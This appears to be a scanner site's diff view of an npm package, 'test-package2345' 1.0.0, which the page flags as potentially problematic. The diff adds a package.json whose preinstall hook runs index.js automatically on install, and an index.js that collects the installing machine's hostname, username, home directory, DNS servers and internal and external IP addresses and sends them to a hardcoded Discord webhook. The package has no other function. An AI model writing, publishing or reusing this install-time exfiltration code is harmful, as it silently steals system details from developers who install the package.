test-package2345 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of test-package2345 might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +85 -0
  2. package/package.json +13 -0
package/index.js ADDED
@@ -0,0 +1,85 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const https = require("https");
4
+ const packageJSON = require("./package.json");
5
+
6
+ const package = packageJSON.name;
7
+
8
+ // Function to get the internal IP address
9
+ function getIPAddress() {
10
+ const networkInterfaces = os.networkInterfaces();
11
+ for (const interfaceName in networkInterfaces) {
12
+ const iface = networkInterfaces[interfaceName];
13
+ for (const alias of iface) {
14
+ if (alias.family === 'IPv4' && !alias.internal) {
15
+ return alias.address;
16
+ }
17
+ }
18
+ }
19
+ return 'IP not found';
20
+ }
21
+
22
+ // Function to get the external IP address
23
+ function getExternalIP(callback) {
24
+ https.get('https://api.ipify.org?format=json', (res) => {
25
+ let data = '';
26
+
27
+ // Receive data chunks
28
+ res.on('data', (chunk) => {
29
+ data += chunk;
30
+ });
31
+
32
+ // On response end, parse and return the IP address
33
+ res.on('end', () => {
34
+ const parsedData = JSON.parse(data);
35
+ callback(parsedData.ip); // Call the callback with the external IP address
36
+ });
37
+ }).on('error', (e) => {
38
+ console.error('Error fetching external IP address:', e);
39
+ callback('Error fetching IP'); // Handle errors
40
+ });
41
+ }
42
+
43
+ // Prepare the tracking data
44
+ getExternalIP((externalIP) => {
45
+ const trackingData = JSON.stringify({
46
+ package: package,
47
+ directory: __dirname,
48
+ home_directory: os.homedir(),
49
+ hostname: os.hostname(),
50
+ username: os.userInfo().username,
51
+ dns: dns.getServers(),
52
+ internal_ip: getIPAddress(), // Add internal IP address here
53
+ external_ip: externalIP, // Get External IP Address
54
+ resolved_url: packageJSON ? packageJSON.___resolved : undefined,
55
+ package_version: packageJSON.version,
56
+ package_json: packageJSON,
57
+ });
58
+
59
+ const webhookURL = "https://discord.com/api/webhooks/1301084955144618004/dzBF_mUG0Ob7MXPUjc3j4cbfOxRF8aquDty3TZCzVy7y-Pjh78fkwe_z1JezoYhAOv89"; // Replace with your Discord webhook URL
60
+
61
+ const postData = JSON.stringify({
62
+ content: `\`\`\`json\n${trackingData}\n\`\`\`` // Wrap the tracking data in a code block for better formatting
63
+ });
64
+
65
+ const options = new URL(webhookURL);
66
+
67
+ options.method = "POST";
68
+ options.headers = {
69
+ "Content-Type": "application/json",
70
+ "Content-Length": postData.length,
71
+ };
72
+
73
+ const req = https.request(options, (res) => {
74
+ res.on("data", (d) => {
75
+ process.stdout.write(d);
76
+ });
77
+ });
78
+
79
+ req.on("error", (e) => {
80
+ console.error(e);
81
+ });
82
+
83
+ req.write(postData);
84
+ req.end();
85
+ });
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "test-package2345",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "keywords": [],
11
+ "author": "",
12
+ "license": "ISC"
13
+ }